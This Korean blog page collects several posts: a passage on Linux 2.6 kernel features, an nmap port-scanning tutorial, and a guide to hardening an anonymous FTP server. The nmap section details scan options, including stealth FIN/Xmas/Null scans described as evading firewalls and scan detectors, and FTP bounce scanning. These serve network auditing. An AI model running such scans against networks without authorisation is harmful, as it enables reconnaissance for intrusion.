사용자들을 위한 몇몇 기능 개선이 추가되었다. 그래서 한동안 리눅스 사용자들은 CIFS와 제대로 공유할 수 없었으나 리눅스 2.6부터는 CIFS에 대한 지원이 완전히 재 작성되어 완벽하게 호환이 된다. 리눅스 2.6에는 SMB와 CIFS 프로토콜의 확장인 SMB-UNIX 익스텐션에 대한 지원이 추가되어 Samba와 같은 SMB서버에 윈도우 파일 타입이 아닌 파일 타입(디바이스 노드나 심볼릭 링크 등)을 지원할 수 있게 되었다. 근래에는 드물게 리눅스는 노벨 넷웨어에 대한 지원도 빼먹지 않았다. 리눅스 2.6에서는 내장된 NCP(Netware Core Protocol) 파일 시스템 드라이버를 통해 256개 까지의 공유를 마운트 할 수 있다. 리눅스 2.6은 하나의 로지컬 볼륨에 존재하는 파일들이 여러개의 노드들에 분산되어 있을 수 있는 비교적 새로운 종류의 분산 네트워크 파일 시스템을 지원한다. 리눅스 2.4에서 지원이 시작된 CODA 파일 시스템 이외에도 AFS와 InterMezzo에 대한 지원이 추가되었다. AFS는 Andrew Filesystem(CMU에서 개발되어 이름이 저렇다)은 아직은 매우 제한적이고 읽기 전용으로 밖에 동작하지 않는다. 두번째 새로 지원되는 파일 시스템인 InterMezzo(역시 CMU에서 개발되었다)는 리눅스 2.6에서 지원되기 시작했는데 비접속 기능(로컬에서 동작하도록 하는)과 같은 높은 수준의 기능들의 동작이 가능하며 반드시 디스크의 공간이 존재해야만 하는 종류들의 응용 프로그램에 사용될 수 있다. 물론 여러대의 시스템, 노트북이나 PDA 또는 데스크탑 컴퓨터 등에서 서로의 파일 내용을 싱크할 수 있는 기능도 내장되어 있다. 새로운 파일 시스템을 지원하기 위한 프로젝트들이 존재한다. 기타 기능들보안리눅스 2.6에서 새로 부각된 부분이지만 주목을 많이 못받고 있는 분야가 보안 관련 분야이다. 가장 기본적으로 근래에는 커널 기반의 보안(유닉스에서의 root 사용자의 권한) 자체도 모듈화 되어서 여러가지 보안 모델 중 하나가 되어 버렸다. (어쨌거나 현재까지 기본적으로 제공되는 모델이고 새로운 모델에 대해서는 어떻게 만들 수 있는지 보여주는 것에 불과하다) 이런 변화중 하나로 커널의 모든 부분이 대단히 세부적인 억세스 콘트롤 기반을 기초로 사용하도록 수정되었다. 물론 대부분의 리눅스 시스템들은 이러한 root 기반의 보안 모델을 계속 사용하겠지만 이런 기본적인 부분들이 없이도 시스템이 구성될 수 있다. 또 다른 보안 관련 변화 중 하나는 바이너리 모듈(하드웨어 개발 업체에서 제공하는 드라이버와 같은)들이 더 이상 시스템의 시스템 콜 테이블을 수정하여 시스템 콜을 오버로딩할 수 없도록 수정되었다는 점이다. 이것은 오픈 소스가 아닌 모듈들이 커널이나 기타 GPL 기반의 소프트웨어에 보안상의 헛점을 만드는 것을 더 이상 용납하지 않는다는 점에서 보안이 한층 강화됨을 뜻한다. 또 하나의 보안 관련 변화 사항은 리눅스 커널이 이전에 사용되던 하드웨어 변동에 기반한 엔트로피 풀 방식의 랜덤 넘버 제네레이터 대신 하드웨어 랜덤 넘버 제네레이터를 사용할 수 있게 되었다는 것이다. (몇몇 프로세서에 내장되기 시작했다) 리눅스의 가상화리눅스 2.6의 가장 재미있는 새 기능중 하나는 유저 모드(user-mode) 아키텍쳐를 채용하기 시작했다는 것이다. 이것은 리눅스를 리눅스 자체로 포팅해서 리눅스 상에서 리눅스가 실행된다는 의미이다. 리눅스의 새 인스턴스는 완전히 보통의 응용 프로그램인 것 처럼 실행되게 된다. 응용 프로그램 내부에서 가짜 네트웍 인터페이스나 파일 시스템, 호스트의 디바이스와 통신하도록 만들어진 특수한 디바이스 드라이버를 통해 디바이스를 지원할 수 있게 된다. 이것은 (profiling등) 개발을 위해서나 보안 분석을 위해서 대단히 바람직한 것으로 밝혀졌다. 물론 상당수의 사용자들은 이런 기능을 필요로 하지 않겠지만 대단히 멋진 기능임에 틀림이 없다. (친구들을 감동시켜 보라!) 랩탑 지원앞서 이야기 한 일반적인 지원들(APM, ACPI, 무선 네트웍 지원등) 이외에도 리눅스는 랩탑 사용자들을 위해 두가지의 분류하기 어렵지만 유용한 새로운 기능들을 제공한다. 첫번째는 소프트웨어 서스펜드 기능 기능(software-suspend-to-disk)이다. 아직은 약간의 버그가 남아 있지만 많은 경우 별다른 문제 없이 사용이 가능한 수준이다. 또 하나의 기능은 시스템 전원이 연결 되어 있는지 여부에 따라 프로세서의 속도를 자동으로 바꾸어 주는 기능이다. 설정 관리(Configuration Management)리눅스 2.6은 몇몇 작은 기능 개선을 가지고 있다. 주로 개발자들이 커널의 문제에 대해 디버깅을 할 때 큰 도움을 받을 기능이지만 여러대의 서버를 관리해야 하는 관리자들을 위해서도 유용한 기능이다. 간단하게 이야기 해서 커널에 커널 파일 자체의 설정 파일을 내장시킬 수 있다. 여기에는 커널 설정의 각종 옵션들에 대한 정보들이 함께 기록되며, 어떤 컴파일러가 사용되었는지와 기타 동일한 커널을 컴파일 하기 위해 필요한 여러 환경들을 담고 있다. 이 정보들은 /proc 인터페이스를 통해 살펴볼 수 있다. 기존 응용 프로그램 지원리눅스 커널 2.6이 메이저 업그레이드이긴 하나 사용자 응용 프로그램에서 변화시켜야 할 부분의 거의 없는 것이나 마찬가지이다. 하나의 예외는 쓰레딩에 대한 부분이다. 어떤 응용 프로그램들은 2.4나 2.2에서는 허용되었으나 그 이후에는 허용되지 않는 작업을 하는 경우가 있을 수 있다. 이것들은 어쨌거나 예외적으로 취급해야 한다. 물론 모듈 유틸리티와 같은 저수준에서 동작하는 프로그램들도 동작하지 않을 것이다. 추가적으로, /proc과 /dev에 존재하는 몇몇 파일들과 그 형식이 변화되어 여기에 의존적으로 작성된 응용 프로그램들은 제대로 동작하지 않을 가능성이 있다. (새로운 /sys 버추얼 파일 시스템으로 많은 부분들이 옮겨져서 그렇기도 하다. 호환성을 위해서 /dev 디바이스 이름들도 쉽게 설정할 수 있기는 하다) 이런 것들에 추가적으로 많은 부분이 변경되었다. 첫번째로 리눅스 2.0 이나 그 이전에 만들어진 스왑 파일들은 새로 포맷을 해야 한다. (스왑 파일에는 별다른 중요한 내용이 저장되지는 않기 때문에 대부분의 경우 문제가 되지는 않을 것이다) 아파치나 Zeus등의 웹서버들이 커널 수준의 속도에 접근 할 수 없도록 막는 병목이 제거 되었으므로 커널이 웹 페이지를 직접 서비스 할 수 있는 kHTTPd 데몬이 제거 되었다. Dos/윈도우에서 대용량 하드디스크의 사용을 위한 OnTrack이나 EzDrive등의 디스크 매니저에 대한 자동 감지 기능이 제거 되었다. 마지막으로 플로피 디스크에서 부팅을 하기 위한 특수한 형태의 커널 부트 섹터가 제거되었다. 이제는 SysLinux를 사용해야 한다. 마치며이 문서는 BitKeeper의 changelog와 소스 여기 저기를 뒤져보고 메일링 리스트의 내용들을 검토하고 Google과 Lycos의 검색 결과를 이리저리 뒤져보아서 작성한 문서이다. 그래서 혹시 잘못된 내용이 포함되어 있거나 중요한 내용이 빠져있거나 필자가 오해하고 있는 부분이 있을 수 있다. 혹시라도 잘못된 내용을 찾게 된다면 필자의 이메일인 jpranevich at kniggit.net 으로 메일을 보내어 수정해주기 바란다. 이 문서의 새 버전은 항상 http://kniggit.net/wwol26.html 에 올려놓고 있다. 번역이 문서는 영어 이외에도 아래와 같이 여러가지 언어로 번역되어 있다. Posted by tornado
늙어서 자꾸 까먹네... /etc/sysconfig/network 파일에서 입력한다...
Posted by tornado
다. nmap 탐지결과 분석 nmap의 실행 결과는 일반적으로 스캔되어진 호스트의 포트 리스트이다. nmap는 포트들의 "well known" service name, number, state, protocol 등을 알려준다. state는 'open', 'filtered' 'unfiltered'로 정의된다. Open은 호스트의 포트로 accept() 접속이 가능함을 의미한다. Filtered는 방화벽이나 필터, 또는 다른 네트웍 장비가 포트를 보호하고 있거나, 포트가 open 되어 있는지에 관해 nmap이 결정할 수 없음을 의미한다. Unfiltered는 closed 상태이고 firewall/filter가 없음을 의미한다. 대부분의 포트가 Unfiltered 포트이므로 'unfiltered'는 state에는 프린트되지 않는다. <예제1> nmap의 기본 옵션을 가지고 스캔하면 다음과 같다. 여기에 -v 옵션을 사용하면 좀더 자세한 정보를 알 수 있다. 
Nmap은 타겟을 설정함에 있어 매우 유연한 동작을 보인다. 하나의 호스트 스캔은 물론이고 연속되지 않은 여러 개의 호스트 스캔, 연속되는 여러 개의 호스트 스캔, 클래스 단위의 스캔 등 다양하게 타겟을 설정할 수 있다. 특히 "/mask"를 사용하면 클래스 단위로 스캔을 할 수가 있다. ▶연속되지 않은 여러 개의 호스트를 스캔할 경우 : 호스트 사이에 "," 입력
▶연속되는 여러 개의 호스트를 스캔할 경우 : 첫 번째 호스트와 마지막 호스트 사이에 "-" 입력
▶클래스 단위 스캔 : "/mask" 이용( B class : /16, C class : /24 ), "*" 이용, "-" 이용 예로 B class를 스캔하고 할 때는 172.16.0.0/16 또는 172.16.*.* 또는 172.16.0-255.0-255로 정의해 주면 된다. <예제2> 만약 inetd.conf 파일에 2222번 백도어 포트가 설정되어 있다면 결과값은 다음과 같이 나온다. 기본 옵션으로 검색하면 2222번 포트가 보이지 않지만 -p 옵션을 사용하여 점검하면 2222번 포트가 open되어 있음을 알 수 있다. 
<예제3> 
각각의 포트가 누구의 권한으로 실행되고 있는지를 알기 위해서는 -I 옵션을 추가하면 되고, OS 추정 및 TCP Sequence Number의 규칙성을 알기 위해서는 -O 옵션을 추가하면 된다. <예제4> 호스트가 살아있는지를 알기 위해서는 -sP를 사용한다. 
up으로 나오면 호스트가 살아있음을 의미하고, down으로 나오는 호스트가 죽어있거나 방화벽에 의해 차단되어 있음을 의미한다. <예제5> UDP 포트에 대해 점검을 원하면 -sU를 사용한다. 
라. 편리한 X 윈도우 버전 nmapfe nmapfe은 nmap의 사용을 편리하게 하기 위해 만들어진 X Window System (GTK+) front end이다. 
3. 참고자료 http://www.insecure.org/nmap
Posted by tornado
2. 설치 및 운영 가. nmap 설치 nmap은 http://www.insecure.org/nmap에서 구할 수 있다. nmap의 설치 방법은 매우 간단하다. 많은 critical 커널 인터페이스들이 루트 권한을 요구하듯이 nmap 또한 가능하면 루트권한으로 운영되어야 한다. ▶ linux에 설치하기 "*.tgz" 형식과 "*.rpm" 모두를 다운로드 할 수 있다. 여기에서는 Linux 2.2.5-22에 설치하였다. ① rpm 파일로 받기 # rpm -vhU http://www.insecure.org/nmap/dist/nmap-2.53-1.i386.rpm 설치가 정상적으로 끝났다면 /usr/bin에 nmap 실행파일이 복사될 것이다. ② tgz 파일로 받기 최신버전으로 다운로드 받은 후 압축을 푼다. 여기에서는 nmap-2.53 버전으로 설치했다. # gzip -cd nmap-2.53.tgz | tar xvf - archive를 풀면 nmap-2.53이라는 디렉토리가 생성되는데 이 디렉토리로 이동한다. # cd nmap-2.53 INSTALL 파일을 읽어보면 설치요령이 설명되어 있는데 다음과 같이 하면 특별한 에러 없이 설치가 된다. # ./configure
# make
# make install ▶Sun OS에 설치하기 최신버젼을 다운받아 다음과 같이 하면 에러 없어 설치된다. # gzip -cd nmap-2.53.tgz | tar xvf -
# cd nmap-2.53
# ./configure
# make
# make install 나. nmap 실행 nmap의 사용방법은 다음과 같다. scan type 및 option에 대해서는 nmap의 man page에 자세히 나와있다. USAGE : ./nmap [Scan Type(s)] [Options] Scan Type -sT | TCP connect() scan : TCP scanning의 가장 기초적인 형태로 connect() 함수를 사용해서 모든 포트에 대해 스캔하는 방식이다. 만약 포트가 listening 상태라면 connect()는 성공할 것이고, 그렇지 않으면 reachable 되지 않는다. | -sS | TCP SYN scan : full TCP 접속을 하지 않으므로 "half-open" 스캐닝이라 한다. 하나의 SYN 패킷을 보내어 SYN|ACK 응답이 오면 그 포트는 listening 상태임을 나타내며, RST 응답이 오면 non-listener임을 나타낸다. 이 기술은 하나의 패킷을 보내어 SYN|ACK 응답을 받으면 그 즉시 RST 패킷을 보내서 접속을 끊어버린다. 이렇게 하면 접속이 이루어지지 않은 상태에서 접속을 끊었기 때문에 로그를 남기지 않는 경우가 대부분이다. custom SYN packet을 만들기 위해서는 루트 권한이 필요하다. | -sF
-sX
-sN | Stealth FIN, Xmas Tree, Null scan : 이들은 SYN 패킷을 막아놓은 방화벽이나 패킷 필터 또는 Synlogger와 Courtney 같은 스캔을 탐지하는 프로그램들을 무사히 통과할 수 있다. open 포트로 FIN 패킷을 보내면 이 패킷을 무시하고, closed 포트로 보내면 RST 패킷이 온다. 이들 스캔은 주로 유닉스계열 OS에서만 사용 가능하며, 루트권한이 필요하다. | -sP | Ping scanning : 네트워크의 어느 호스트가 살아있는지를 알고 싶을 때 사용한다. nmap은 명시한 네트워크의 모든 IP 주소로 ICMP echo request packet을 보내어 이것을 행한다. 호스트가 살아 있다면 응답을 보낸다. 하지만 microsoft.com 같은 일부 사이트는 echo requst packet을 방해한다. 따라서 nmap은 포트번호 80(default) 으로 TCP ack packet을 보낸다. 만약 RST back을 받았다면 이 시스템은 살아있는 것이다. | -sU | UDP scans : 이것은 호스트의 어떠한 UDP 포트가 open 되어 있는지를 결정하기 위해 사용된다. 이 기술은 시스템의 각 포트에 0 바이트의 udp 패킷을 보낸다. 만일 ICMP port unreachable 메시지를 받았다면 이 포트는 closed 상태이며, 다른 경우라 open 상태라고 할 수 있다. 일부에서는 UDP 스캐닝이 무의미하다라고 말한다. 하지만 최근의 Solaris rcpbind hole을 보면 Rpcbind가 32770 이상의 정의되지 않은 UDP 포트에서 발견되고 있다. 이것은 111 포트가 방화벽에서 차단되어지는 것과는 별개의 문제이다. 따라서 UDP 스캐너로 30,000번 이상의 high 포트들이 listening 상태인지를 점검해봐야 한다. 이것은 루트만이 실행가능하다. | -sA | ACK scan : 이 방법은 방화벽의 룰셋을 정밀하게 계획하기 위해 사용된다. 특히 방화벽이 stateful한지 아니면 단순히 들어오는 SYN 패킷을 차단하는 패킷필터인지를 점검하는데 도움이 된다. 포트에 ACK 패킷을 보내어 RST 응답을 받으면 그 포트는 "unfilterd"이며, 아무런 응답이 없으면 "filtered" 이다. nmap은 "unfilterd" 포트는 프린트하지 않는다. | -sW | Window scan : TCP Window 크기의 변칙 때문에 filtered/nonfiltered 뿐만 아니라 open 포트도 스캔할 수 있다는 점을 제외하면 ACK scan과 매우 유사하다. | -sR | RPC scan : 이 스캔 방법은 nmap의 다양한 포트 스캔 방법을 조합해서 이루어진다. 이것은 열려져있는 TCP/UDP 포트에 대해 그들이 RPC 포트인지, 서비스를 제공하는 프로그램은 무엇이며, 버전은 무엇인지 등을 확인하기 위해 SunRPC program NULL commands를 계속 보내게 된다. 따라서 호스트의 portmaper가 방화벽(또는 TCP wrapper)안에 있다 하더라도 'rpcinfo -p'와 같은 정보를 얻을 수 있다. | -b | FTP bounce attack : 익명 FTP 서버를 이용해 그 FTP 서버를 경우해서 호스트를 스캔한다. 이를 FTP 바운스 스캔이라 한다. |
Options -P0 | 이것은 방화벽에 의해 ICMP echo requests (or responses)를 막아놓은 네트워크의 스캔을 가능하게 한다. ping을 막아놓은 호스트를 스캔하기 위해서는 -P0 나 -PT80을 사용해야 한다. | -PT | 어느 호스트가 살아 있는지를 알기 위해 TCP "ping"을 사용한다. 이것은 ICMP echo request 패킷을 보내고 응답을 기다리는 대신에, 네트워크에 TCP ACK를 보내어 응답이 오기를 기다린다. RST 응답이 오면 호스트는 살아 있는 것이다. 이 옵션은 ping 패킷을 차단하는 네트워크나 호스트을 스캔하는 동안은 호스트가 살아 있는 것과 같다. -PT를 사용 하며, 디폴트 포트는 80이다. | -PS | 이 옵션은 루트사용자를 위해 ACK 패킷 대신에 SYN (connection request)을 사용한다. 호스트가 살아 있다면 RST (or, rarely, a SYN|ACK)로 응답 한다. | -PI | 이 옵션은 오리지날 ping (ICMP echo request) packet을 사용한다. 이것은 살아있는 호스트를 찾으며 또한 네트워크의 subnet-directed broadcast addresses를 찾는다. 이들은 들어오는 IP 패킷을 컴퓨터의 서브넷으로 브로드케스트하기 위한 IP 주소이다. 따라서 denial of service attacks (Smurf is the most common) 가능성이 있다면 이들은 제거되어야 한다. | -PB | 이것은 ping 기본 형태로 ACK (-PT)와 ICMP (-PI) 모두를 사용한다. | -O | 이것은 TCP/IP fingerprinting을 통해 리모트 호스트를 확인하는데 사용된다 다시 말해 리모트 시스템의 운영체제를 점검해 준다. 루트권한이 필요하다. | -I | RFC 1413에 정의되어 있는 ident 프로토콜을 사용해 open되어 있는 포트가 어떤 사용자에 의해 열려 있는지 검사한다. | -v | verbose mode : interactive한 사용에 매우 유용한 옵션이다. | -h | nmap의 'quick reference'이다. | | 점검하고자 하는 포트를 지정하는 옵션이다. 예로 23번 포트를 점검하려면 '-p 23' 하면 된다. 또한 '-p 20-30,139,60000-'은 20에서 30사이의 포트와 139번 포트, 60000번 이상의 포트에 대해 스캔하라는 뜻이다. | -F | nmap-services에 나열된 포트만 스캔한다. | -n / -R | DNS lookup을 하지 않는다. / DNS lookup을 한다. | -S
| 패킷의 source 주소를 지정한다. | -e
| 네트워크의 인터페이스를 지정한다. | | 패킷의 source 포트번호를 지정한다. | -oN
| 스캔한 결과를 로그 파일에 남긴다(사람이 읽기 편한 포맷). | -oM
| 스캔한 결과를 로그 파일에 남긴다(컴퓨터가 읽기 편한 포맷). |
Posted by tornado
1. 개요 Nmap(Network Mapper)은 네트워크 보안을 위한 유틸리티로, 대규모 네트워크를 고속으로 스캔하는 도구이다. Nmap은 raw IP 패킷을 사용하여 네트워크에 어느 호스트가 살아있고, 그들이 어떠한 서비스(포트)를 제공하며, 운영체제(OS 버전)가 무엇이며, filter/firewall의 패킷 타입이 무엇인지 등 네트워크의 수많은 특징들을 점검할 수 있다. Nmap의 주요 특징을 살펴보면 다음과 같다. Flexible | IP 필터, 방화벽, 라우터 등으로 구성되어 있는 네트워크를 점검하기 위한 도구로, 포트 스캐닝 메카니즘(TCP & UDP), OS 검색, pings sweeps 등을 점검할 수 있다. | Powerful | Nmap은 수천 수백 개의 호스트를 가진 거대한 네트워크를 고속으로 스캔할 수 있다. | Portable | Linux, Open/Free/Net BSD, Solaris, IRIX, Mac OS X, HP-UX, Sun OS 등 대부분의 운영체제에서 사용할 수 있다. | Easy | Nmap은 사용자들에게 강력하면서도 다양한 set을 제공함에도 불구 하고 "nmap -O -sS targethost"와 같이 아주 간단하게 사용할 수 있다. 또한 command line 및 graphical (GUI) 버전 모두를 지원한 다. | Free | Nmap의 주요 목적은 좀더 안전한 인터넷을 만드는데 도움을 주고 자 하는 것과 administrators/auditors에게 그들의 네트워크를 점검 하기 위한 보다 강력한 도구를 제공하기 위한 것이다. Nmap은 http://www.insecure.org/nmap에서 무료로 다운받을 수 있으며, GNU General Public License(GPL)하에 모든 사람이 자유롭게 사용할 수 있다. | Popular | 현재 네트워크 스캔 툴 중에서 가장 많이 이용되고 있는 툴이다. |
Nmap에서 사용되는 대부분의 기술은 호스트의 어떤 포트가 listening 되고 있는지를 스캔하기 위해 사용된다. 이 포트들은 통신 가능한 채널로 이들 포트들에 대한 매핑은 호스트에 대한 정보 교환을 용이하게 한다. 따라서 nmap은 시스템 관리자는 물론이고 해커를 포함한 네트워크 환경을 점검하기를 원하는 모든 사람에게 매우 유용한 도구로 사용된다. Nmap은 방대한 네트워크를 점검하기 위한 강력한 포트 스캐너로 다음과 같은 것을 지원한다. o Vanilla TCP connect() scanning,
o TCP SYN (half open) scanning,
o TCP FIN (stealth) scanning,
o TCP ftp proxy (bounce attack) scanning,
o SYN/FIN scanning using IP fragments (bypasses packet filters),
o UDP recvfrom() scanning,
o UDP raw ICMP port unreachable scanning,
o ICMP scanning (ping-sweep), and Reverse-ident scanning. 참조 : CERTCC-KR
Posted by tornado
다음 이전 차례
FTP는 TCP/IP의 아주 중요한 부분으로 남아있는 서비스이다. 웹의 등장으로 조금 무기력해진 것같이 보여도 대량 파일 전송에는 역시 FTP 서비스가 최고이다. 그리고 FTP는 사라지기보다는 웹 브라우저 안으로 통합되는 양상을 띠고 있다. FTP 서비스는 크게 두 가지로 나눌 수 있는데 서버 시스템에 등록한 사용자들을 위한 일반적인 FTP와 익명의 모든 사용자들에게 개방하는 익명 (Anonymous) FTP가 있다. 등록 사용자에 대한 FTP 서비스는 텔넷과 비슷하게 사용자명과 패스워드를 입력받고 자기 권한만큼 파일에 접근해서 받아갈 수 있으며 자신의 홈 디렉토리 같은 곳에는 업로드도 가능하다. 약간의 주의를 요하는 것이 바로 익명 FTP이다. 일단은 여러분이 갖고 있는 대부분의 소규모 FTP에 그렇게 많은 접속이 이루어지지는 않을지 모르나 커다란 FTP 사이트를 건설하려고 한다면 정말로 엄청난 시스템이 아니면 안될 것이다. 한 마디로 텔넷과 마찬가지로 리눅스 설치와 함께 FTP 서비스는 기본으로 이루어진다. 여러분의 리눅스 머신이 이미 네트워크에 존재한다면 여러분도 모르는 사이에 누군가 이미 여러분의 컴퓨터를 익명 FTP로 사용하고 있는지도 모른다. FTP 서비스 또한 수퍼 서버 inetd에 의해 관리된다. 빠른 반응 시간을 갖기 위해서는 ftpd를 그냥 띄워도 괜찮다. /usr/sbin 디렉토리로 가보도록 하자. freeyong:/usr/sbin# ls -l *ftpd-rwxr--r-- 1 root root 8528 Sep 9 14:14 in.tftpd*-rwxr-xr-x 1 root bin 77444 Dec 6 1995 wu.ftpd*
위에서 보는 바와 같이 wu.ftpd가 없다면 네트워크 키트를 받아다가 설치해 주는 것이 좋다. 기본 설정치이다. 워싱턴 대학에서 만든 뛰어난 ftp 데몬이며 거의 모든 유닉스 계열 사이트에서 찾아 볼 수 있을 것이다. 우리가 설치할 ftp 데몬은 바로 워싱턴 대학의 wu.ftpd이다. 익명 FTP는 특히 안전성이 중요하다. 항상 악의를 가진 사람들이 존재한다는 식으로 생각하는 것은 좋지 않다. 보안을 하는 이유는 크랙커를 막겠다는 것보다는 시스템의 핵심부를 타인에게 드러내지 않음으로써 예기치 않은 일들을 막고자 하는 것이다. 그럼 점검을 해보자. ftp:*:404:1::/home/ftp:/bin/bash
/etc/passwd를 보면 위와 같이 되어 있는 것을 볼 수 있을 것이다. 패스워드 필드에 애스터리스크 문자만 있으므로 ftp라는 로그인명으로는 텔넷 접속같은 것은 할 수 없도록 되어 있다. 접속 자체가 불가능하기는 하지만 안전하게 하기 위해서 셸도 /bin/bash 같은 걸로 지정하는 것보다는 그냥 /bin/false같은 것으로 지정해두는 것도 좋다. 슬랙웨어, 알짜웨어 등 모든 경우에 있어서 ftp라는 사용자는 위에서 보면 1번 그룹에 속하는 것으로 나와있는데 1번 그룹은 bin 그룹이다. 보통은 anonymous라는 그룹을 새로 만든 후에 그 그룹의 멤버로 설정하면 좋을 듯 하다. 익명 FTP의 홈 디렉토리는 위에서처럼 /home/ftp이다. 자, 잠시 여러분이 어떤 익명 FTP에 들어갔을 때를 생각해보자. 그러면 전형 적으로 다음과 같은 디렉토리가 보일 것이다. 만약 여러분이 cd / 라는 명령으로 시스템의 루트 디렉토리로 가려고 해보았자 여러분이 원하는 디렉토리로 가는 것이 아니라 실제로는 전체 시스템에서 /home/ftp에 해당하는 곳에 머무를 뿐이다. 이것이 익명 FTP와 일반 사용자들의 FTP가 다른 점이다. 익명 FTP의 경우에는 ftp 사용자에게 있어 /home/ftp가 마치 / 처럼 작동하도록 되어 있다. 내부적으로 chroot라는 것이 작동하여 /home/ftp라는 디렉토리를 루트 디렉토리처럼 인식하도록 하니까 /home/ftp 이하의 모든 디렉토리들은 접근을 할 수 없도록 한 것이다. 각 디렉토리를 점검해보도록 하자. drwxr-xr-x 8 root wheel 1024 Aug 23 20:30 .drwxr-xr-x 8 root wheel 1024 Aug 23 20:30 ..drwxr-xr-x 2 root wheel 1024 Aug 23 20:30 bindrwxr-xr-x 2 root wheel 1024 Aug 23 20:30 etcdrwxrwxrwx 3 root wheel 1024 Oct 11 16:21 incomingdrwxr-xr-x 2 root wheel 1024 Nov 17 1993 libdrwxr-xr-x 2 root wheel 1024 Aug 23 20:30 pubdrwxr-xr-x 3 root wheel 1024 Aug 23 20:30 usr-rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg
우선 /home/ftp 즉 ftp 디렉토리는 ftp라는 사용자가 소유하고 있어야 한다. 그리고 다른 사람들은 쓰기 퍼미션을 가져서는 안된다. ftp/bin 즉 /home/ftp/bin에는 ls라는 실행파일이 적어도 하나 들어있어야 하며 소유권은 수퍼 유저, 루트가 가지고 있으며 ls의 퍼미션은 111이다. ftp/etc는 수퍼 유저의 소유이며 쓰기 금지가 되어 있어야 한다. 내용을 보면 passwd와 group 파일이 있는데 실제로는 시스템 전체의 패스워드와 그룹 파일과는 다른 파일이다. 이 파일이 있는 이유는 dir 했을 때 숫자가 아니라 사용자명 그룹명이 나오도록 하기 위함이다. 잘 보면 패스워드 같은 건 아예 없다는 것을 알 수 있다. 이 파일을 지우면 온통 사용자명과 그룹명이 숫자로만 나올 것이다. ftp/pub는 일단 읽기만 되어야 한다. 업로드 파일은 ftp/incoming을 이용하라. 배포판들에서 incoming 디렉토리의 소유자가 잘못되어 있는데 소유자는 루트가 아니라 ftp여야 한다. 루트 권한으로 들어가서 chown ftp ftp/incoming이라고 하면 된다. 단지 ftp 사용자에게만 쓰기 권한이 있어도 업로드를 할 수 있도록 되어 있다. ftp 사용자에게만 쓰기 권한이 있도록 조정한다. 일단 한 번 올린 파일에 대해서는 지울 수 없다. 사람들에게 파일만 올릴 것이 아니라 설명서도 꼭 올려주도록 부탁한다. 관리자는 정기적으로 incoming 디렉토리를 보고 pub 디렉토리 밑에다 알맞게 범주로 나누어서 다시 사용자들이 다운로드만 할 수 있게 해준다. /home/ftp 디렉토리를 보면 welcome.msg 파일을 볼 수 있다. 그곳에다 사용자들에게 알려야 할 사항을 적어주면 된다. 시스템 정기 점검, 업그레이드 소식 등 또는 새로운 자료 소식을 항상 올려주면 좋을 것이다. 각 디렉토리로 들어갈 때마다 간단한 안내를 해주는 경우가 있다. 이 때는 .message라는 파일을 각 디렉토리에 만들어서 화면에 표시하고 싶은 내용을 적으면 된다. 피리어드(.) 문자로 시작하는 파일임에 유의하라. 시디롬을 마운트시켜서 그 내용을 제공하는 것도 안전한 방법 중의 하나라고 생각한다. 그리고 하드디스크 용량을 절약할 수 있기 때문에 아주 좋다. 그런데 많은 사람들이 시디롬 내용을 익명 FTP로 제공하려고 할 때 약간의 어려움을 겪고 있는 것 같다. 여러분이 원하는 곳에 마운트를 했다고 생각하거나 또는 기존에 /cdrom으로 마운트된 것을 /home/ftp 하위 디렉토리에서 링크하면 되지 않을까 생각해도 전혀 시디롬이 있는 디렉토리를 찾지 못하기 때문이다. 왜 그럴까? 바로 익명 FTP는 /home/ftp 를 chroot 명령으로 강제로 루트(/) 디렉토리처럼 보도록 만들었기 때문이다. 따라서 여러분이 무심코 /home/ftp 밖에 있는 디렉토리를 접근하려고 하거나 링크하려고 하면 찾을 수 없다고 나온다. 따라서 시디롬을 보통은 /home/ftp 디렉토리에 .1 처럼 도트로 시작하는 디렉토리를 만든 후에 다음과 같이 해준다. mount -t iso9660 /dev/cdrom /home/ftp/.1
그리고 /home/ftp 안에서는 모두 다 /.1을 기준으로 시디롬의 각 디렉토리를 링크해두면 된다. 일단 /home/ftp/.1이라는 디렉토리에다가 마운트를 하고 익명 FTP로 들어가게 되면 그 디렉토리는 chroot 명령에 의하여 이제부터는 /.1로만 인식된다. 그것은 FTP 클라이언트나 서버에게도 마찬가지이다. 따라서 만약에 시디롬의 slakware라는 디렉토리를 /pub/slakware라는 디렉토리로 서비스하고 싶다면 다음과 같이 한다. cd /home/ftpcd publn -s /.1/slakware slakware ( 절대로 /home/ftp/.1이 아니다. )
또 다른 고용량 하드디스크를 마운트해서 사용하려고 한다면 마운트를 꼭 읽기 전용으로 해두기 바란다. -o ro 옵션을 꼭 붙이기 바란다. 보안에서 정말로 중요시해야 할 것이 있다. 바로 링크의 문제이다. 물론 /home/ftp 라는 디렉토리 구조 밖의 디렉토리를 /home/ftp 안쪽에다 링크해보았자 아무런 소용이 없다. 앞서 말한 바와 같이 익명 FTP 세션에서 chroot가 호출되면 /home/ftp 밖의 디렉토리에 대한 보호가 이루어지기 때문이다. 그래서 위와 같이 특정 파티션을 /home/ftp 안 쪽에 마운트하는 방법을 사용하는데 그러한 파티션은 꼭 익명 FTP 용으로만 쓰기 바란다. 만약 익명 FTP가 아니라 다른 일반적인 용도로 사용하게 된다면 링크를 따라 올라가다 내려오는 순간 우연치 않게 여러분이 원하지 않는 디렉토리를 보여줄 수도 있게 된다. 예를 들어 필자는 알짜웨어 시디롬을 익명 FTP로 제공하기 위해 우선 시디롬을 /home/ftp/.1 이라는 디렉토리에 마운트하였다. 그리고 pub 디렉토리에 가서 다음과 같이 했다고 치자. ln -s /.1/rootdsks rootdsks
자, 확인을 하기 위해서 익명 FTP로 들어가보자. cd pubcd rootdskscd ..
여기서 우리는 다시 pub로 돌아오는 것이 아니라 .1이라는 디렉토리로 들어가게 된다. FTP 서비스의 약점을 하나 들라면 필자는 바로 선전 가능성이라고 말하고 싶다. 각광받고 있는 웹 서비스보다는 자기 자신을 화려하게 선전할 방법을 갖지 못하는 처지이기 때문이다. 따라서 훌륭한 FTP 서비스에 대해서는 웹 페이지를 이용하여 선전을 잘 해주기 바란다. 그래야 사용자들이 많이 이용할 수 있다. 웹 페이지에서 FTP 사이트로 링크를 해주는 것도 좋은 방법이다. 이렇게 하면 웹 서비스와 FTP 서비스가 조화를 이룰 수 있다. 접근 권한에 대한 세팅은 /etc 디렉토리의 ftpusers, ftpgroups라는 파일을 통해 서 한다. ftpusers라는 파일의 내용을 한 번 살펴보자. # The entire line gets matched, so no comments or extra characters on# lines containing a username.#rootuucpnews# End of ftpusers.news
